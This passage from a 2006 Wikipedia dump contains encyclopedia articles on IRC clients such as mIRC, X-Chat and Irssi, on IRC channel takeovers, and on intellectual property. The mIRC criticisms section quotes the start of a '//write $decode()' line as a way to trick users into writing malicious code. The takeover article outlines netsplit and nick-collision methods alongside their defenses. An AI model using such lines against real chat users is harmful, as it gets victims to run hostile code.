      <id>39589460</id>
      <timestamp>2006-02-14T14:15:26Z</timestamp>
      <contributor>
        <ip>195.37.79.247</ip>
      </contributor>
      <comment>disambiguation from [[SSL]] to [[Secure Sockets Layer]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[image:BitchX logo - ACiD.png|right|thumb|180px|BitchX [[ANSI art|ANSI]] [[splash screen]] (one of several in rotation).]]
'''BitchX''' is a popular [[open source]] [[Internet relay chat|IRC]] [[Client (computing)|client]].  The initial implementation, written by &quot;Trench&quot; and &quot;HappyCrappy&quot;, was a [[script (computer programming)|script]] for the [[IrcII]] chat client.  It was converted to a program on its own right by panasync (Colten Edwards). BitchX 1.1 final was released in [[2004]]. It is written in [[C programming language|C]], and is a [[computer console|console]] application. A graphical interface is also available, which uses the [[GTK+]] toolkit.  It works on most [[Unix]]-like operating systems, and is distributed under a [[BSD license]].  It is originally based on ircII and eventually it was merged into the [[Enhanced Programmable ircII Client|EPIC IRC client]]. It supports [[IPv6]], multiple servers and [[Secure Sockets Layer|SSL]], but not [[UTF-8]]. BitchX (often called just &quot;BX&quot; by fans) is well known for its remarkable (and often gross) random quit messages.

BitchX2 is the current project.  While there is no current release to the public on the new code base, the project is leaning towards merging back to the current base version of Epic.  For more information about this project please visit the links included in this article.

==See also==
*[[List of IRC clients]]
*[[Comparison of IRC clients]]

==External links==
[[image:Screenshot-6.png|right|thumb|180px|A typical [[Debian]] desktop, showing BitchX in the foreground.]]
* [http://www.bitchx.org/ BitchX website]

[[Category:IRC clients for Unix-like systems]]
[[Category:Free software]]
[[Category:Linux software]]

[[es:BitchX]]
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[[fi:BitchX]]</text>
    </revision>
  </page>
  <page>
    <title>MIRC</title>
    <id>14717</id>
    <revision>
      <id>40640777</id>
      <timestamp>2006-02-22T00:25:33Z</timestamp>
      <contributor>
        <ip>84.25.103.13</ip>
      </contributor>
      <comment>/* Easter Eggs */</comment>
      <text xml:space="preserve">{{lowercase|title=mIRC}}
{{Infobox_Software |
  name = mIRC |
  logo = [[Image:MIRC_logo.svg|40px]] |
  screenshot = [[Image:MIRC_Screenshot.PNG|250px]] |
  caption = Screenshot of mIRC |
  developer = [[Khaled Mardam-Bey]] |
  latest_release_version = 6.17 |
  latest_release_date = [[February 17]], [[2006]] |
  operating_system = [[Microsoft Windows]] |
  genre = [[IRC client]] |
  license = [[Proprietary software|Proprietary]] &lt;br&gt;|
  website = [http://www.mirc.com In the US]&lt;br&gt;[http://www.mirc.co.uk/ In the UK]|
}}

'''mIRC''' is a [[shareware]] [[Internet Relay Chat]] [[Client (computing)|client]] for [[Microsoft Windows|Windows]], created in 1995 and developed by [[Khaled Mardam-Bey]]. This was originally its only use, but it has evolved into a highly configurable tool that can be used for many purposes due to its [[mIRC script|integrated scripting language]]. Other uses may include:
* [[IRC bot]] / channel management
* [[MP3]] music player
* [[Direct Client-to-Client|DCC]] (a [[peer-to-peer]] [[Internet Protocol|IP]]-based chat or file send), and IRC server
* Web page parser (usually for retrieving search results or headlines)
* Game platform (these games are called [[mIRC game]]s)

mIRC is highly popular, having been downloaded nearly eight million times from CNET's [http://www.download.com/ download.com] service as of August 2005. [http://www.internetnews.com/stats/article.php/3096631 Nielsen Net Rankings] also rated mIRC as among one of the top 10 most popular internet applications in 2003. Its popularity may explain why many mIRC users mistakenly believe that the name of their client is also the name of the protocol it uses, thinking they are &quot;connecting to a mIRC server&quot; or &quot;joining a mIRC channel&quot;.

== Main features ==
* Advanced integrated [[event-driven programming|event-based]] and command-based scripting language
* Ability to connect to multiple servers simultaneously
* [[CTCP]] support
* [[Direct Client-to-Client|DCC]] file transfer and DCC chat support
* Protection against [[malware|malicious file]] downloads
* DCC file server (fserve) that allows a user to browse a specified folder and download files
* [[ANSI escape code|ANSI-style]] and mIRC-style text decoration support
* [[Speech recognition]] and synthesis via 3rd party products
* Support for [[UTF-8]] (For full support, &quot;Multibyte editbox&quot; must be enabled)

== Common criticisms ==
* mIRC scripting allows troublemakers to dupe naïve users into running [[malicious software|malicious code]] merely by typing things in the chat window (for example, entering lines beginning with '''//write $decode()'''). Since version 6.17 this is disabled by default, and various other commands considered dangerous can be locked in mIRC options.
* mIRC-style text decorations and colors are not part of the IRC standard, but because of the program's popularity, competing IRC clients have been forced to include them in their program, although support sometimes ranges only to dumping the formatting entirely.
* mIRC does not support native [[IPv6|IPV6]].

== ''Slap!'' function ==
A famous feature associated with mIRC even though it predates it is the ability to &quot;slap&quot; another user by right-clicking the target's nickname. This results in the line of text &quot;A slaps B around a bit with a large [[trout]]&quot;. It serves no other function than to send the message, which is merely an execution of the &quot;/action&quot; (&quot;/me&quot;) command in IRC. Such an action can warrant a kick or even a ban in many channels.
The sentence &quot;A slaps B around a bit with a large [[trout]]&quot; is thought to be a reference to [[Monty Python]]'s sketch [[The Fish-Slapping Dance]].

This function can be removed by editing mIRC's built-in script.

== mIRC Scripting ==
For novice users this function may be a bit overwhelming, but it is an ingenious addition to the program.
With [[mIRC script|mIRC Scripting]] (also referred to as &quot;remote&quot;) you can make your client do specific tasks on specific events.
For instance: You can make your client answer &quot;I'm here!&quot; when someone writes your nick suffixed with a question mark; &quot;yournick?&quot;, in either all, or just some specific channels.
Here's how you can do it for a specific channel:
Say your nick is &quot;wiki&quot;
and the channel you're in is &quot;#wiki&quot; (channels in IRC are prefixed with a hash sign)
&lt;pre&gt;&lt;nowiki&gt;
on *:TEXT:*anyone saw wiki*:#wiki:{ 
  msg $chan I'm here!
}
&lt;/nowiki&gt;&lt;/pre&gt;
If you now change your nick without editing the script manually, the script will not work.
Fortunately mIRC provides several functions that makes this no problem at all.
To list some from the examples:
* '''$me''' (your current nick)
* '''$nick''' (the one who triggered your event)
* '''$chan''' (the channel the triggered event occurred in)
* '''$+''' (a function to concatenate two strings; &quot;a $+ b&quot; produces &quot;ab&quot;)
* '''$1''' (the first token (word) in a sentence; &quot;a b c d e&quot; a = $1, b = $2, c = $3 etc)

&lt;pre&gt;&lt;nowiki&gt;
on *:TEXT:*:#:{ 
  if ($1 == $me $+ ?) { 
    msg $chan I'm here, $nick $+ !
  }
}
&lt;/nowiki&gt;&lt;/pre&gt;

Now mIRC's '''if/else''' operators are being used. These are logical operators that you find in most scripting/programming languages. In addition we use an asterisk instead of a specific string to indicate that the event shall trigger on ALL text.
&lt;nowiki&gt;#wiki&lt;/nowiki&gt; has been changed with '#', this has the effect of triggering the event from ANY channel you're in, instead of just '#wikipedia'.
If you use an asterisk '*' instead of a hash sign '#' you'll allow the event to be triggered by queries as well.
To allow the event from triggering only by queries, you can use a question mark '?'.

So for queries:

&lt;pre&gt;&lt;nowiki&gt;
on *:TEXT:*:?:{ 
  if ($1 == $me $+ ?) { 
    msg $nick I'm here, $nick $+ !
  }
}
&lt;/nowiki&gt;&lt;/pre&gt;

But what if you want the event only to trigger in specific channels?
Then we'll use the logical AND operator '&amp;&amp;', and the logical OR operator '||'.

&lt;pre&gt;&lt;nowiki&gt;
on *:TEXT:*:#:{ 
  if ($1 == $me $+ ?) &amp;&amp; ( ($chan == #wiki) || ($chan == #wiki.en) ) { 
    msg $chan I'm here, $nick $+ !
  }
}
&lt;/nowiki&gt;&lt;/pre&gt;

The extra parentheses are necessary to ensure that the logical AND operator &quot;AND&quot; the correct conditions.
The rest is hopefully self-explanatory. 

If you want to know more about mIRC Scripting, all you have to do is download mIRC, and type &quot;/help&quot; in any window.
As an example, if you want to know more about '$1' function, type:

''/help $1''

For information regarding the events f.i the TEXT event:
''/help on text''

mIRC scripting is not limited to IRC related events and commands. There is also support for COM objects, calling DLLs, sockets and dialogs (for GUIs), amongst other things.

==Easter Eggs==
mIRC has many [[Easter egg (virtual)|eggs]] hidden inside the program, including: 
* Clicking on Khaled's nose in the about dialog will play a squeaking sound, and right-clicking anywhere in the dialog will show a bouncing ball at the top of it.
* Typing &quot;Arnie&quot; in the about dialog will display a green stuffed dinosaur.
* Clicking the mIRC logo in the about dialog will swap it for the old logo, and clicking again will swap back
* Right-clicking the last button in the toolbar makes the button change
* Typing the command &quot;/xyzzy&quot; will echo &quot;Nothing happens.&quot; in red.

==See also==
*[[List of IRC clients]]
*[[mIRC script]]

==External links==
*[http://www.mirc.co.uk/ Official website]
*[http://www.mirc.net mirc.net]
*[http://www.beirutscripts.net beirutscripts.net]
*[http://www.mircscripts.org/ mircscripts.org]
*[http://www.hawkee.com hawkee.com]
*[http://www.arune.se/~arune/mirc/ AntiUTF8-script for mIRC] (obsolete since mIRC 6.17)
*[http://www.acko.net/blog/utf-8-mirc UTF-8 conversion support for mIRC] (obsolete since mIRC 6.17)
*[http://www.team-clanx.org team-clanx.org]
*[http://users.skynet.be/jaguar/mircv6.html mircv6loader REAL IPV6 support for mIRC]

[[Category:IRC clients for Microsoft Windows]]

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[[zh:MIRC]]</text>
    </revision>
  </page>
  <page>
    <title>X-Chat</title>
    <id>14718</id>
    <revision>
      <id>41882967</id>
      <timestamp>2006-03-02T09:44:45Z</timestamp>
      <contributor>
        <ip>217.18.142.154</ip>
      </contributor>
      <comment>/* Windows Builds (GPL) */</comment>
      <text xml:space="preserve">[[Image:Xchat.png|right|thumb|A typical X-Chat session on the [[Freenode]] [[Internet Relay Chat|IRC]] network showing an active [[conversation]] in the #Wikipedia channel as well as other channels in tabs along the bottom. The tabs for channels with unread conversations are red.]]

[[Image:Xchat-win.png|right|thumb|An X-Chat for Windows session on [[Freenode]] showing the common [[X Window System]]/[[Microsoft Windows]] [[GUI]] interface to X-Chat. The user list is on the right and unread conversation tabs are red.]]

'''X-Chat''', commonly written '''XChat''' or '''xchat''', is one of the most popular [[Internet relay chat|IRC]] [[Client_(computing)|client]]s for [[Unix-like]] systems. It is also available for [[Microsoft Windows]] and [[Mac OS X]] (via an offshoot of the project, called [[X-Chat Aqua]], which keeps in sync with the main development branch and is much more popular than the official version maintained by the [[Fink|Fink project]]). It has a choice of a [[Tabbed Document Interface|tabbed]] or tree interface, support for multiple [[server]]s, and a high level of configurability. Both [[command line interface|command line]] and [[graphical user interface|graphical]] versions are available, although use of the graphical version far outweighs use of the command line version. It is licensed under the [[GNU General Public License]] and uses the [[GTK+]] toolkit for its interface.

== Plug-ins ==
X-Chat can be scripted with [[plug-in]]s in a number of programming languages: [[Perl]], [[Python programming language|Python]], [[Tcl]], and [[Ruby (programming language)|Ruby]], which are available as external plugins and contain a binary module interface, usually for the [[C programming language]].

Plug-ins are capable of hooking into numerous types of events:&lt;ref&gt;[http://www.xchat.org/docs/plugin20.html XChat 2.0 Plugin Interface]&lt;/ref&gt;

* Server events like &lt;code&gt;NOTICE&lt;/code&gt; or numeric codes defined in RFC 1459 such as &lt;code&gt;376&lt;/code&gt; for end of [[motd]]
* Command events such as &lt;code&gt;mycmd&lt;/code&gt; which allow for adding new commands (run in the input dialog with &lt;code&gt;/command arg1, arg2, ...&lt;/code&gt;) or replacing internal commands such as &lt;code&gt;say&lt;/code&gt;, the command which implicitly gets run when the user sends messages
* Print events listed in the &quot;Text Events&quot; dialog
* Timeout events to be called every n [[millisecond]]s
* Socket or file descriptors

In the case of events like server, command and print events plug-ins can specify whether or not they wish to replace existing functionality or not.

== Shareware controversy ==
As of [[August 23]], [[2004]], the [http://www.xchat.org/windows/ official Windows build of X-Chat] has become shareware, and must be purchased for [[United States dollar|USD]]$20 or [[Australian dollar|AUD]]$25 after a 30-day trial period. There has been a great deal of discussion about the legality of this move. Since the X-Chat project has not required copyright assignment, the maintainer of the X-Chat project does not actually hold copyright to the entirety of the code. While he has offered to remove and rewrite any patches, provided the author of the patches asks him to, there are many who feel that he is still in violation of the GPL, especially since the code for the shareware enforcement is not disclosed. [http://silenceisdefeat.org/~b0at/xchat/win32 Unofficial Windows builds of X-Chat] are made available (at no cost) by contributors, who maintain binaries of the latest release, and also compile frequently from [[Concurrent_Versions_System|CVS]].

==See also==
*[[List of IRC clients]]
*[[Comparison of IRC clients]]

== References ==
&lt;references/&gt;
==External links==
===Support===
*[http://www.xchat.org/ X-Chat website]
**[http://www.xchat.org/faq/ FAQ]
**[http://forum.xchat.org/ Forum]
**[http://wiki.linuxquestions.org/wiki/Xchat linuxquestions.org wiki], very useful information, goes beyond the [http://www.xchat.org/faq/ FAQ]
*[http://xchataqua.sourceforge.net/ X-Chat Aqua website]
*[irc://irc.freenode.net/#xchat/ X-Chat support channel on Freenode network.]
*[irc://irc.efnet.info/#xchat/ X-Chat support channel on EFNET network.]

===Unofficial Versions and Builds===
*[http://xchataqua.sourceforge.net/ X-Chat Aqua] for [[Mac OS X]]
*[http://xchat-gnome.navi.cx/ X-Chat Gnome]
====Windows Builds (GPL)====
[http://www.silenceisdefeat.org/~b0at/xchat/win32/ X-Chat on Windows Build Lineup]

Builds that are still being updated:
*[http://daemon404.eth0.ws/ Daemon404 build]
*[http://www.silverex.org/ SilvereX build] ([http://www.silverex.info/ alternate])

Builds that are no longer being updated: 
*[http://www.xchat-free.pt.vu/ Pu7o build]
*[http://www.geocities.com/eatdeadmonkeys/ Stryker build]
*[http://www.sencesa.com/xchat/index.htm Sencesa Build]
*[http://jensge.org/index.php?id=47 Jensge Build]
*[http://www.psyon.org/projects/xchat-win32/ Psyon build]

===Third-Party Plugins===
====Programming Languages====
*[http://www.scriptkitties.com/tclplugin/ Tcl Plugin for X-Chat]
*[http://xchat-ruby.sourceforge.net/ Ruby Plugin for X-Chat]
*[http://www.cliki.net/X-Chat%20Common%20Lisp%20Plugin Common Lisp Plugin for X-Chat]
*[http://www.linuxirc.com/download/xchat-guile-0.1.tar.gz Scheme Plugin for X-Chat]
*[http://www.lessequal.com/software/xcdscript/ DMDScript (ECMAScript) Plugin for X-Chat]

====System Tray====
*[http://forums.sinisterdevelopments.com/index.php?showforum=7 xTray for X-Chat on Windows]
*[http://blight.altervista.org//index.php?s=&amp;act=Systray Systray for Windows and Linux] ([http://sourceforge.net/projects/xchat2-plugins/ sourceforge project page])

[[Category:IRC clients]]
[[Category:Free software]]

[[cs:X-chat]]
[[de:XChat]]
[[fr:X-Chat]]
[[hr:X-chat]]
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[[nl:XChat]]
[[no:XChat]]
[[nn:XChat]]
[[pl:XChat]]
[[pt:X-Chat]]
[[fi:XChat]]
[[sv:XChat]]
[[zh:X-Chat]]</text>
    </revision>
  </page>
  <page>
    <title>IrcII</title>
    <id>14719</id>
    <revision>
      <id>23683964</id>
      <timestamp>2005-09-21T16:52:15Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">{{lowercase|title=ircII}}

'''ircII''' is a [[Unix]] [[Internet Relay Chat|IRC]] [[Client (computing)|client]] that is made available completely free of charge, and is available in source form.

[[Image:Ircii.png|right|thumb|ircII screen capture]]

Designed to run in a [[Command line interface|text-mode]] environment, '''ircII''' is not pretty -- it has no sounds, graphics, menus, pop-ups, etc. It is, however, fast, stable, lightweight, portable, and easily backgrounded using virtual terminals such as Unix &quot;[[GNU Screen|screen]]&quot;.

As the [[Unix]] and [[Unix-like]] systems evolved and increased in popularity, more, newer [[Internet relay chat|IRC]] clients have been developed for them as well. Perhaps the most common are [[BitchX]] and [[Enhanced Programmable ircII Client|EPIC]], both variants of the ircII client with greater functionality built into them at some stage in their development.

At one time, the ircII client set the standard against which all other clients were developed and measured. While this may still hold true to some extent today, the [[Microsoft Windows|Windows]] client [[mIRC]] has largely taken over that position.

==External links==
*[http://www.eterna.com.au/ircii/ Home page]
*[http://www.irchelp.org/irchelp/ircii/ Installation, Scripts]
*[http://irc.pages.de/ircII/ Script updates] from the original author of the ircII scripts

[[Category:IRC clients for Unix-like systems]]
[[Category:Free software]]

[[fr:IrcII]]
[[hu:IrcII]]
[[fi:IrcII]]</text>
    </revision>
  </page>
  <page>
    <title>IRC takeover</title>
    <id>14720</id>
    <revision>
      <id>37369470</id>
      <timestamp>2006-01-30T15:52:38Z</timestamp>
      <contributor>
        <username>Incognito</username>
        <id>96557</id>
      </contributor>
      <minor />
      <comment>moved [[IRC takeover war]] to [[IRC takeover]]: cleaner name</comment>
      <text xml:space="preserve">'''Channel takeovers''', when an unrelated group of people would gain [[IRC channel operators|channel operator]] status in an [[IRC]] channel they do not own were a problem which plagued [[Internet relay chat|IRC]] networks for a long time. Takeovers caused problems beyond loss of channels, because attackers would often use [[bandwidth]]-intensive [[Denial-of-service attack|Denial of Service]] attacks to cause server splits, which would then be abused.

==Methods==

===Riding the split===
Primary method of causing a takeover was to [[Exploit (computer security)|exploit]] a design flaw in the IRC [[network protocol|protocol]], which allowed gaining [[IRC channel operators|channel operator]] status under certain conditions after a [[netsplit]].  When one of the servers has no users in a channel during a split, the channel does not exist.  According to an early IRC [[network protocol|protocol]] specification, channel operators on both sides of a split should retain their status.  To abuse this, people could connect to the split server and re-create a channel by joining it and thus gain channel operator status.  When the servers merged, these new users on the smaller end of a split would retain operator status and could kick out the original channel operators, ''taking over'' the channel. This method is commonly referred to as ''riding the split''.

The simplest way to prevent this from happening, known as TS (''timestamp'') first implemented by [[Undernet]] and now commonplace in IRC2 IRCds (such as: Bahamut, Hybrid, ircu and others), is to check which channel is newer when two merging servers each have a channel with the same name. If they were both created at the same time, they were the same channel, and operators on both sides should be kept. If one channel is newer than the other, this channel was created later, possibly as a takeover attempt. In this case, the special status of any users in the newer channel is removed when merging.

===Nick collision===
Another popular form of takeover abused a protection system where a user on one side of a netsplit would take the nickname of a target on the other side. When the network reconnected, the servers would &quot;collide&quot; the nicknames, knocking both off the network.  The attacker would typically have a second client which would quickly change its name while the original user was reconnecting, and would proceed to [[jupe (IRC)|jupe]] the target's nickname for a period of time.

There are two popular methods of stopping nickname collisions - ''TS'' (similar to Channel TS, see above) and ''nickhold''. TS involves checking when the nickname was made use of on each server. The connected user that had the nickname first would remain on the server, while the one who took use of the nickname at a later timestamp would be knocked off of the other server via &quot;Nickname Collision.&quot; This method is used in many IRC2 IRCds such as Bahamut, Unreal and Hybrid.

The other method is known as ''nickhold'' and involves disallowing the use of recently split nicknames. It is known to cause fewer kills (naturally through the way it works) but causes more inconvenience to users. For this reason, the TS protocol is generally more common.

===Other Methods===
Channel creation during [[netsplit]]s is not the only kind of takeover attempt. Other methods include [[cracking]] the computers of channel operators, compromising channel [[IRC bot|bots']] [[shell account]], or obtaining [[IRC services|services]] password through [[Social engineering (computer security)|social engineering]].


==Conclusion==
As time has passed, various measures have been implemented to prevent takeovers in different kinds of IRC server software. Channel and nickname timestamping are now standard on all current IRC servers, and many have implemented [[IRC services|Services]] or automated [[IRC bot|bots]] with special status to protect channel operators and prevent takeover wars.


[[Category:IRC]]
[[fr:Takeover]]</text>
    </revision>
  </page>
  <page>
    <title>IRC channel operator</title>
    <id>14721</id>
    <revision>
      <id>41112456</id>
      <timestamp>2006-02-25T03:11:00Z</timestamp>
      <contributor>
        <username>Dhp1080</username>
        <id>884053</id>
      </contributor>
      <text xml:space="preserve">An '''IRC channel operator''' (commonly shortened to '''op''') is a user that moderates an [[Internet relay chat|IRC]] channel on a given IRC network. They are responsible for maintaining the modes of the channel, the banlist, and moderating any unwanted activity. IRC channel operators should not be confused with [[IRC operator]]s, who enforce network, rather than channel, rules.

The person that first joins a channel automatically gets operator status, and is later referred to as the ''channel founder'', which usually gives them further privileges on networks with [[ChanServ]]. Channel operators can also voice (+v) and op (+o) other users in the channel. On networks with no channel services, abuse of netsplits is common to gain operator status in certain channels.

Some servers feature ''halfops''. These users are privileged in a certain channel, though not as powerful as ops. Halfops may kick other users out of the channel and set most channel modes. They are not allowed to make other users ops or halfops. This is supported on [[IRCD | IRCd]]s such as UnrealIRCd. Other IRCds, such as Bahamut and IRCu, do not have halfops. On one IRCd, Webmaster ConferenceRoom, halfops are known as userops.
==See also==
* [[IRC operator]]

[[Category:IRC]]</text>
    </revision>
  </page>
  <page>
    <title>Irssi</title>
    <id>14722</id>
    <revision>
      <id>40189037</id>
      <timestamp>2006-02-18T21:11:06Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[Image:irssi.png|thumb|right|A screenshot of Irssi.]]

'''Irssi''' is an [[Internet Relay Chat|IRC]] [[Client (computing)|client]] program originally written by [[Timo Sirainen]] with a [[Command line interface|text-mode]] user interface. Written in the [[C programming language]] for [[Unix-like]] operating systems, it is licensed under the terms of the [[GNU General Public License]]. Irssi also runs under [[Microsoft Windows]] with the aid of [[Cygwin]], and may acquire a [[graphical user interface|graphical]] front-end sometime in the future. Additionally, Irssi is available on [[Mac OS X]] with [[Fink]] or natively with [[MacIrssi]] or the [[Cocoa (software)|Cocoa]]-client [[Colloquy (IRC client)|Colloquy]].

Irssi was written from scratch, unlike many similar clients based on the older [[ircII]]. This frees the developers from having to deal with the constraints of an existing codebase, allowing them to maintain tighter control over issues like [[computer security|security]] and customization. The latter is exemplified by the numerous [[module]]s and [[Perl]] [[script (computer programming)|script]]s available for the program; Irssi's scripting facilities are considered by many of its devoted users to be the most powerful around. Although the program's interface usually precludes the need to manually edit [[configuration file]]s, one may do so using a [[Syntax|syntax]] resembling Perl data structures.

Customization is Irssi's chief advantage over BitchX and other text-based IRC clients. Irssi's [[documentation]] makes it somewhat easier for the novice to use than BitchX or ircii. 

Some [[purist]]s prefer Irssi simply because they consider its overall &quot;feel&quot; to be &quot;cleaner&quot; than other clients, many of which implement features like [[file server|file serving]], auto-rejoining channels after being kicked, and automatically kicking and banning users, oftentimes enabling these by default. This argument has also been used by those who prefer the more spartan ircII.

During the late 90s and early 21st century, Irssi assumed a cult-like following on several IRC networks, especially [[QuakeNet]]. At this time, using Irssi was seen as a display of competence above those who used [[mIRC]]. Many Windows users purchased remotely accessible Unix shells in order to run Irssi.

Many users switch from [[BitchX]] to Irssi in order to fine-tune their client better, or because Irssi's support for features like connecting to multiple [[server]]s and via [[IPv6]] is more mature, or because it supports scripting in Perl. Unlike BitchX, Irssi also supports [[UTF-8]]. Others merely want to avoid BitchX's use of profanity in its kick and quit messages, and in the name itself.

In May 2002 Irssi's [[autoconf]] &quot;configure&quot; script was found to have been [[backdoor|backdoored]] for at least two months. This was extremely embarrassing for many Irssi users who cited security as the main reason they chose Irssi above Windows clients such as [[mIRC]]. However, the binary was never backdoored - only the script, and the problem was immediately fixed. 

== External links ==
* [http://irssi.org/ Official website]
* [http://www.g1m0.se/macirssi/ MacIrssi's home page]
* [http://ai.onetrix.net/#irssi Cygwin/Windows binaries]
* [http://f0rked.com/articles/irssidoc Unofficial Irssi Documentation and Resources]
* [[Colloquy (IRC client)]]&amp;mdash;Mac OS X GUI Irssi based client

[[Category:Free software]]
[[Category:IRC clients for Unix-like systems]]
[[Category:Linux software]]

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    </revision>
  </page>
  <page>
    <title>Infinitesimal calculus</title>
    <id>14723</id>
    <revision>
      <id>15912259</id>
      <timestamp>2005-06-23T21:19:56Z</timestamp>
      <contributor>
        <username>Peter Grey</username>
        <id>268253</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[calculus]]</text>
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  </page>
  <page>
    <title>Intellectual property</title>
    <id>14724</id>
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      <id>41586696</id>
      <timestamp>2006-02-28T08:55:11Z</timestamp>
      <contributor>
        <ip>165.123.169.249</ip>
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      <comment>/* Overview */</comment>
      <text xml:space="preserve">{{intellectual property}}
'''Intellectual property''' (IP) refers to a legal entitlement which sometimes attaches to the [[idea-expression divide|expressed form]] of an [[idea]], or to some other [[intangible asset|intangible]] subject matter. This legal entitlement generally enables its holder to exercise [[exclusive right]]s of use in relation to the subject matter of the IP. The term ''intellectual property'' reflects the idea that this subject matter is the product of the [[mind]] or the intellect, and that IP rights may be protected at law in the same way as any other form of [[property (ownership right)|property]].

Intellectual property laws are territorial such that the registration or enforcement of IP rights must be pursued separately in each jurisdiction of interest. However, these laws are becoming increasingly [[harmonisation|harmonised]] through the effects of international treaties such as the 1994 [[World Trade Organization]] (WTO) [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (TRIPs), while other treaties may facilitate registration in more than one jurisdiction at a time. This global harmonisation of intellectual property legislation under the WTO has been criticized, for example by the [[alter-globalization]] movement.

==Overview==

Intellectual property laws confer a [[bundle of rights|bundle]] of [[exclusive right]]s in relation to the particular form or manner in which ideas or information are expressed or manifested, and not in relation to the ideas or concepts themselves (see [[idea-expression divide]]). It is therefore important to note that the term &quot;intellectual property&quot; denotes the specific legal rights which authors, inventors and other IP holders may hold and exercise, and not the intellectual work itself.

Intellectual property laws are designed to protect different forms of intangible subject matter, although in some cases there is a degree of overlap.

*[[copyright]] may subsist in creative and artistic works (eg. books, movies, music, paintings, photographs and software), giving a copyright holder the exclusive right to control reproduction or adaptation of such works for a certain period of time.
*A [[patent]] may be granted in relation to an [[invention]] that is new, useful and not simply an obvious advancement over what existed when the application was filed.  A patent gives the holder an exclusive right to commercially exploit the invention for a certain period of time (typically 20 years from the filing date of a patent application).
*A [[trademark]] is a distinctive [[sign (semiotics)|sign]] which is used to distinguish the products or services of one [[business]] from those of another business.
*An [[industrial design right]] protects the form of appearance, style or design of an industrial object (eg. spare parts, furniture or textiles).
*A [[trade secret]] (also known as &quot;confidential information&quot;) is an item of [[confidentiality|confidential]] information concerning the commercial practices or [[proprietary]] knowledge of a business.

Patents, trademarks and designs fall into a particular subset of intellectual property known as [[industrial property]].

Like other forms of property, intellectual property (or rather the exclusive rights which subsist in the IP) can be transferred ([[consideration|with]] or [[gift|without]] consideration) or [[license]]d to third parties. In some jurisdictions it may also be possible to use intellectual property as [[security (finance)|security]] for a loan.

====Controversy====

The basic [[public policy]] rationale for the protection of intellectual property is that IP laws facilitate and encourage disclosure of [[innovation]] into the [[public domain]] for the [[common good]], by granting authors and inventors exclusive rights to exploit their works and invention for a limited period.

However, various schools of thought are critical of the very concept of intellectual property, and some characterise IP as ''intellectual [[protectionism]]''. There is ongoing debate as to whether IP laws truly operate to confer the stated public benefits, and whether the protection they are said to provide is appropriate in the context of innovation derived from such things as [[traditional knowledge]] and folklore, and patents for [[software patent|software]] and [[business method patent|business methods]]. Manifestations of this [[controversy]] can be seen in the way different [[jurisdiction]]s decide whether to grant intellectual property protection in relation to subject matter of this kind, and the [[North-South divide]] on issues of the role and scope of intellectual property laws.

==Exclusive rights==

The exclusive rights granted by intellectual property laws are generally [[negative and positive rights|positive]] in nature, and therefore only grant the holder of IP the exclusive ability to take certain action, rather than the ability to exclude a third party from taking that action. For example, the owner of a registered trademark has an exclusive right to use their mark in relation to certain products or services, but generally no right to exclude others from using that mark in relation to unrelated products or services (sometimes marks which are recognised as &quot;famous&quot; or &quot;well known&quot; are deemed to have developed sufficient goodwill and reputation to be protected across unrelated classes of products and services).

The exclusive rights conferred by intellectual property laws can generally be transferred (with or without [[consideration]]), [[license]]d (or rented), or [[mortgage]]d to third parties.
Exclusive rights are generally divided into two categories: those that grant exclusive rights only on copying/reproduction of the item or act protected (eg. copyright) and those that grant a right to prevent others from doing something. The difference between these is that a copyright would prevent someone from copying the material form of expression of an idea, but could not stop them from expressing the same idea in a different form, nor from using the same form of expression if they had no knowledge of the original held by the copyright holder. Patents and trade marks on the other hand, can be used to prevent that second person from making the same design even if they had never heard of or seen the claimed &quot;property&quot;. Those rights must be applied for or registered and are more expensive to enforce.

There are also more specialized varieties of &quot;[[sui generis]]&quot; exclusive rights, such as circuit design rights (called [[mask work]] rights in USA law, protected under the [[Integrated Circuit Topography Act]] in Canadian law, and in [[EC Law|European Community Law]] by Directive 87/54/EEC of [[16 December]] [[1986]] on the legal protection of topographies of semiconductor products), [[plant breeders' rights]], [[plant variety rights]], [[industrial design rights]], [[supplementary protection certificate]]s for pharmaceutical products and [[database rights]] (in [[EC Law|European law]]).

Exclusive rights may be analyzed in terms of their subject matter, the actions they regulate in respect of the subject matter, the duration of particular rights, and the limitations on these rights. Exclusive rights policies are conventionally categorized according to subject matter: inventions, artistic expression, secrets, semiconductor designs, and so on.

Generally, the activity regulated by exclusive rights is unauthorized reproduction or commercial exploitation.  However, as indicated above, some rights go beyond this to grant a full suite of exclusive rights on a particular idea or product.  Generally, it is true to say that exclusive rights grant the holder the ability to stop others doing something (ie. a negative right.), but not necessarily a right to do it themselves (ie. a positive right). For example, the holder of a patent on a pharmaceutical product may be able to prevent others selling it, but (in most countries) cannot sell it themselves without a separate license from a regulatory authority.

Most exclusive rights are nothing more than the right to sue an infringer, which has the effect that people will approach the rightsholder for permission to perform the acts to which the rightsholder has exclusive right.  The granting of this permission is termed licensing, and exclusive rights licenses stipulate the extent of the licensee's ability to perform the acts the rightsholder may control.  Other kinds of licenses attempt to establish additional conditions beyond the acts the rightsholder may control, and these licenses are governed by general contract principles.  In many jurisdictions the law places limits on what restrictions the licensor (the person granting the licence) can impose.  In the [[European Union]], for example, [[competition law]] has a strong influence on how licences are granted by large companies.

Copyright licenses grant permission to do something. A patent license is a declaration not to do some things, under certain conditions.  Exclusive rights policies in certain countries provide for certain activities which do not require any license, such as reproduction of small amounts of texts, sometimes termed [[fair use]].  Many countries' legal systems afford [[Compulsory license|compulsory licenses]] for particular activities, especially in the area of [[patent]] law.

Most exclusive rights are awarded by a government for a limited period of time.  Economic theory typically suggests that a free market with no exclusive rights will lead to too little production of intellectual works relative to an [[pareto efficiency|efficient]] outcome.  Thus by increasing rewards for authors, inventors and other producers of intellectual works, overall efficiency might be improved.  On the other hand, &quot;intellectual property&quot; law could in some circumstances lead to increased [[transaction costs]] that outweigh these gains (see [[Coase's Penguin]]).  Another consideration is that restricting the free reuse of information and ideas will also have costs, where the use of the best available technique for a given task or the creation of a new derived work is prevented.

==History==

===Development of specific laws===

{{expandsect}}

The [[Patent#Early_history_of_patents|early history of patents]] dates from the 15th century in England and Venice.

